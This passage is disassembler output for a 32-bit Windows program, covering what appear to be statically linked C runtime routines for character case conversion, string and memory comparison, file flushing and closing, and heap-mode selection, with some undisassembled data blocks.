		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170ED+BFp
					; sub_4170ED+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBA14
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645


loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl


loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------


loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBA14
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADE+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43CBE4, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43CBE4, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA


loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD


loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------


loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh


loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0


loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax


loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418069+6p
					; sub_418087+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBA14, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------


loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43CBE4, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------


loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD


loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C9D8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------


loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DBA14
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A5+ADp
					; sub_419594+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E


loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824


loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A5+7Fp
					; sub_4185A5+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DBA14, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E


loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------


loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		nop
		call	near ptr 26908E1h
		cmp	eax, 7Ah
		jz	short loc_41D8BF


loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB958, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C9D8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax


loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7


loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DBA14, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBA24
		nop
		call	near ptr 2830000h
		cmp	eax, esi
		jz	short loc_41D8B0


loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax


loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 4Eh
		dd 0F6D50A81h, 0DC4BF756h, 0D0C71332h, 0A1647FB3h, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 46E890E8h, 33024741h, 89D48AD2h
		dd 4DB97015h, 81C88B00h, 0FFE1h, 6C0D8900h, 0C1004DB9h
		dd 0CA0308E1h, 0B9680D89h, 0E8C1004Dh, 0B964A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 0E8000059h, 24740C9h, 0CFECA390h,	19E8004Dh
		dd 0A3000058h, 4DB9C8h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2472628h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 5E89056h,	50022826h, 0FE3820E8h, 0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB9D0, 1
		jnz	short loc_41DA37
		call	sub_423590


loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A9A0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB9D0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 0E8000000h
		dd 77A58245h
		db 90h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DCDA0
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF


loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB


loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 2670894h
		test	eax, eax
		jnz	short loc_41DAEB
		nop
		call	near ptr 26908E1h
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------


loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp


loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------


loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------


loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh


loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------


loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DCC80, esi
		jle	short loc_41DC4E


loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DBC78
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------


loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax


loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DCC80
		jl	short loc_41DC01


loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi


loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 26A0000h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		call	near ptr 26E05D0h
		nop
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------


loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F


loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al


loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC


loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		call	near ptr 2680000h
		nop
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65


loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al


loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52


loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx


loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1


loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx


loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93


loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF


loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 2492375h
		dd 0A3C08590h, 4DCFE4h,	93E83674h, 83FFFFFEh, 0E8A303F8h
		dd 75004DCFh, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0CFE435FFh, 0E890004Dh
		dd 24921D8h, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DCFE4h
		dd 3A21BFE8h, 0C0859002h, 4DCFDCA3h, 0C3017500h, 4244C8Bh
		dd 0CFD42583h, 8300004Dh, 4DCFD825h, 16A0000h, 4DCFD0A3h
		dd 0E00D8900h, 0C7004DCFh, 4DCFC805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFD8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DCFDC
		lea	ecx, [eax+ecx*4]


loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------


loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx


loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------


loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------


